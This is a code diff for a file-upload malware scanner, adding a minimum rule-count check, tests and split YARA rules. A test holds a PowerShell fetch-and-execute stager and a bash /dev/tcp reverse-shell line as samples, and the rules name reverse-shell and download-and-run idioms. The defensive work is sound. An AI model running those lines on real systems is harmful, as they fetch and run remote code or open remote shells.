max / makenotwork
7 files changed,
+138 insertions,
-31 deletions
| @@ -475,13 +475,21 @@ pub struct ScanConfig { | |||
| 475 | 475 | /// invoked when another layer flagged the file as suspicious. | |
| 476 | 476 | pub metadefender_api_key: Option<String>, | |
| 477 | 477 | /// Minimum number of YARA rule files that must compile for the corpus to be | |
| 478 | - | /// considered healthy. `0` disables the check (default). Set it to the known | |
| 479 | - | /// deployed corpus size so a silent drop (a dependency/format change that | |
| 480 | - | /// makes rules uncompilable) fails boot loudly rather than degrading | |
| 481 | - | /// coverage unnoticed. | |
| 478 | + | /// considered healthy. `0` disables the check. Defaults to | |
| 479 | + | /// [`DEFAULT_YARA_MIN_RULE_FILES`] (the size of the bundled corpus) so a | |
| 480 | + | /// silent drop — a dependency/format change that makes rules uncompilable — | |
| 481 | + | /// fails boot loudly rather than degrading coverage unnoticed. Set it | |
| 482 | + | /// explicitly when pointing `YARA_RULES_DIR` at a larger external corpus. | |
| 482 | 483 | pub yara_min_rule_files: usize, | |
| 483 | 484 | } | |
| 484 | 485 | ||
| 486 | + | /// Floor for [`ScanConfig::yara_min_rule_files`], matching the count of `.yar` | |
| 487 | + | /// files bundled in `server/yara-rules/`. Kept in sync by | |
| 488 | + | /// `scanning::yara::tests::shipped_corpus_is_healthy`, which fails if the | |
| 489 | + | /// bundled corpus count drifts from this value. Bumping the corpus means | |
| 490 | + | /// bumping this constant (and the test catches a forgotten bump). | |
| 491 | + | pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 3; | |
| 492 | + | ||
| 485 | 493 | impl ScanConfig { | |
| 486 | 494 | /// Load scan configuration from environment variables. | |
| 487 | 495 | /// Returns Some if SCAN_ENABLED=true (default), None if explicitly disabled. | |
| @@ -509,7 +517,7 @@ impl ScanConfig { | |||
| 509 | 517 | yara_min_rule_files: std::env::var("YARA_MIN_RULE_FILES") | |
| 510 | 518 | .ok() | |
| 511 | 519 | .and_then(|v| v.parse().ok()) | |
| 512 | - | .unwrap_or(0), | |
| 520 | + | .unwrap_or(DEFAULT_YARA_MIN_RULE_FILES), | |
| 513 | 521 | }) | |
| 514 | 522 | } | |
| 515 | 523 | } |
| @@ -644,6 +644,44 @@ mod tests { | |||
| 644 | 644 | }) | |
| 645 | 645 | } | |
| 646 | 646 | ||
| 647 | + | /// SEC-S2: a corpus that compiled fewer rule files than the configured floor | |
| 648 | + | /// is degraded coverage masquerading as a live layer — boot must fail closed. | |
| 649 | + | #[tokio::test] | |
| 650 | + | async fn assert_live_refuses_degraded_yara_corpus() { | |
| 651 | + | let mut compiler = yara_x::Compiler::new(); | |
| 652 | + | compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap(); | |
| 653 | + | let pipeline = std::sync::Arc::new(ScanPipeline { | |
| 654 | + | yara_rules: Some(compiler.build()), | |
| 655 | + | yara_rule_count: 1, | |
| 656 | + | yara_min_rule_files: 2, | |
| 657 | + | clamav_socket: None, | |
| 658 | + | malwarebazaar_enabled: false, | |
| 659 | + | urlhaus_enabled: false, | |
| 660 | + | abuse_ch_auth_key: None, | |
| 661 | + | metadefender_api_key: None, | |
| 662 | + | }); | |
| 663 | + | let err = pipeline.assert_live().await.expect_err("degraded corpus must refuse boot"); | |
| 664 | + | assert!(err.contains("YARA corpus degraded"), "unexpected error: {err}"); | |
| 665 | + | } | |
| 666 | + | ||
| 667 | + | /// The complement: a corpus meeting the floor boots, with YARA counted live. | |
| 668 | + | #[tokio::test] | |
| 669 | + | async fn assert_live_accepts_corpus_meeting_floor() { | |
| 670 | + | let mut compiler = yara_x::Compiler::new(); | |
| 671 | + | compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap(); | |
| 672 | + | let pipeline = std::sync::Arc::new(ScanPipeline { | |
| 673 | + | yara_rules: Some(compiler.build()), | |
| 674 | + | yara_rule_count: 3, | |
| 675 | + | yara_min_rule_files: 3, | |
| 676 | + | clamav_socket: None, | |
| 677 | + | malwarebazaar_enabled: false, | |
| 678 | + | urlhaus_enabled: false, | |
| 679 | + | abuse_ch_auth_key: None, | |
| 680 | + | metadefender_api_key: None, | |
| 681 | + | }); | |
| 682 | + | pipeline.assert_live().await.expect("a corpus meeting the floor must boot"); | |
| 683 | + | } | |
| 684 | + | ||
| 647 | 685 | #[tokio::test] | |
| 648 | 686 | async fn pipeline_clean_download_passes() { | |
| 649 | 687 | let pipeline = make_pipeline(); |
| @@ -431,6 +431,42 @@ mod tests { | |||
| 431 | 431 | assert_eq!(count, 1, "the one valid file compiled; the bad one was skipped"); | |
| 432 | 432 | } | |
| 433 | 433 | ||
| 434 | + | /// The bundled `server/yara-rules/` corpus must compile, its file count must | |
| 435 | + | /// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces | |
| 436 | + | /// updating the floor constant — drift guard), and each shipped rule must | |
| 437 | + | /// actually fire on a representative sample while clean creative content | |
| 438 | + | /// passes. This is the regression net for SEC-S2: a silently-broken or | |
| 439 | + | /// silently-shrunk corpus fails here at test time, and the boot floor catches | |
| 440 | + | /// it in production. | |
| 441 | + | #[test] | |
| 442 | + | fn shipped_corpus_is_healthy() { | |
| 443 | + | let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules"); | |
| 444 | + | let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile"); | |
| 445 | + | let rules = rules.expect("bundled corpus must produce rules"); | |
| 446 | + | assert_eq!( | |
| 447 | + | count, | |
| 448 | + | crate::config::DEFAULT_YARA_MIN_RULE_FILES, | |
| 449 | + | "bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES — \ | |
| 450 | + | update the constant (and the boot floor it feeds)" | |
| 451 | + | ); | |
| 452 | + | ||
| 453 | + | // EICAR test vector fires. | |
| 454 | + | let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; | |
| 455 | + | assert_eq!(scan_with_yara(&rules, eicar).verdict, LayerVerdict::Fail, "eicar must match"); | |
| 456 | + | ||
| 457 | + | // Script-downloader stager fires (two PowerShell tokens). | |
| 458 | + | let downloader = b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')"; | |
| 459 | + | assert_eq!(scan_with_yara(&rules, downloader).verdict, LayerVerdict::Fail, "downloader must match"); | |
| 460 | + | ||
| 461 | + | // Reverse-shell one-liner fires (bash /dev/tcp idiom). | |
| 462 | + | let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"; | |
| 463 | + | assert_eq!(scan_with_yara(&rules, revshell).verdict, LayerVerdict::Fail, "reverse shell must match"); | |
| 464 | + | ||
| 465 | + | // Ordinary content with none of the idioms passes (false-positive guard). | |
| 466 | + | let clean = b"a perfectly normal track description mentioning a shell on the beach"; | |
| 467 | + | assert_eq!(scan_with_yara(&rules, clean).verdict, LayerVerdict::Pass, "clean content must pass"); | |
| 468 | + | } | |
| 469 | + | ||
| 434 | 470 | #[test] | |
| 435 | 471 | fn default_namespace_rule_is_unprefixed() { | |
| 436 | 472 | // Catches the L79 `==` → `!=` mutation. The function emits "rule" for |
| @@ -1,26 +0,0 @@ | |||
| 1 | - | // MakeNotWork custom YARA rules | |
| 2 | - | // Platform-specific threats and common test patterns | |
| 3 | - | ||
| 4 | - | rule eicar_test_file { | |
| 5 | - | meta: | |
| 6 | - | description = "EICAR anti-virus test file" | |
| 7 | - | reference = "https://www.eicar.org/download-anti-malware-testfile/" | |
| 8 | - | strings: | |
| 9 | - | $eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" | |
| 10 | - | condition: | |
| 11 | - | $eicar | |
| 12 | - | } | |
| 13 | - | ||
| 14 | - | rule suspicious_script_in_binary { | |
| 15 | - | meta: | |
| 16 | - | description = "Executable containing embedded script downloaders" | |
| 17 | - | strings: | |
| 18 | - | $ps1 = "powershell" ascii nocase | |
| 19 | - | $ps2 = "Invoke-Expression" ascii nocase | |
| 20 | - | $ps3 = "DownloadString" ascii nocase | |
| 21 | - | $bash1 = "curl " ascii | |
| 22 | - | $bash2 = "| bash" ascii | |
| 23 | - | $bash3 = "| sh" ascii | |
| 24 | - | condition: | |
| 25 | - | (2 of ($ps*)) or ($bash1 and ($bash2 or $bash3)) | |
| 26 | - | } |
| @@ -0,0 +1,21 @@ | |||
| 1 | + | // MakeNotWork - interactive reverse-shell one-liners. | |
| 2 | + | // These idioms are extremely specific to remote-shell payloads and effectively | |
| 3 | + | // never appear in audio/image/video/archive creative content. Untrusted uploads | |
| 4 | + | // are held for review regardless; this catches the obvious stagers in-process. | |
| 5 | + | ||
| 6 | + | rule reverse_shell_oneliner { | |
| 7 | + | meta: | |
| 8 | + | description = "Classic interactive reverse-shell one-liners (bash/nc/python)" | |
| 9 | + | strings: | |
| 10 | + | $bash_devtcp = "/dev/tcp/" ascii // bash -i >& /dev/tcp/host/port 0>&1 | |
| 11 | + | $bash_redir = ">&" ascii | |
| 12 | + | $nc_e = "nc -e /bin/" ascii | |
| 13 | + | $ncat_e = "ncat -e /bin/" ascii | |
| 14 | + | $py_rs = "import socket,subprocess,os" ascii | |
| 15 | + | $py_pty = "pty.spawn(\"/bin/sh\")" ascii nocase | |
| 16 | + | $py_dup2 = "subprocess.call([\"/bin/sh\",\"-i\"]" ascii nocase | |
| 17 | + | condition: | |
| 18 | + | ($bash_devtcp and $bash_redir) | |
| 19 | + | or $nc_e or $ncat_e | |
| 20 | + | or ($py_rs and ($py_pty or $py_dup2)) | |
| 21 | + | } |
| @@ -0,0 +1,19 @@ | |||
| 1 | + | // MakeNotWork - embedded script downloaders / stagers. | |
| 2 | + | // Conservative: a binary/asset that bundles a remote-fetch-and-execute stager | |
| 3 | + | // is highly suspicious for a creative-content marketplace. Multi-token | |
| 4 | + | // conditions keep false positives off legitimate code samples. | |
| 5 | + | ||
| 6 | + | rule suspicious_script_in_binary { | |
| 7 | + | meta: | |
| 8 | + | description = "Executable/asset containing embedded script downloaders" | |
| 9 | + | strings: | |
| 10 | + | $ps1 = "powershell" ascii nocase | |
| 11 | + | $ps2 = "Invoke-Expression" ascii nocase | |
| 12 | + | $ps3 = "DownloadString" ascii nocase | |
| 13 | + | $bash1 = "curl " ascii | |
| 14 | + | $bash2 = "| bash" ascii | |
| 15 | + | $bash3 = "| sh" ascii | |
| 16 | + | $wget1 = "wget " ascii | |
| 17 | + | condition: | |
| 18 | + | (2 of ($ps*)) or (($bash1 or $wget1) and ($bash2 or $bash3)) | |
| 19 | + | } |
| @@ -0,0 +1,11 @@ | |||
| 1 | + | // MakeNotWork - AV test vectors (deterministic, zero false positives). | |
| 2 | + | ||
| 3 | + | rule eicar_test_file { | |
| 4 | + | meta: | |
| 5 | + | description = "EICAR anti-virus test file" | |
| 6 | + | reference = "https://www.eicar.org/download-anti-malware-testfile/" | |
| 7 | + | strings: | |
| 8 | + | $eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" | |
| 9 | + | condition: | |
| 10 | + | $eicar | |
| 11 | + | } |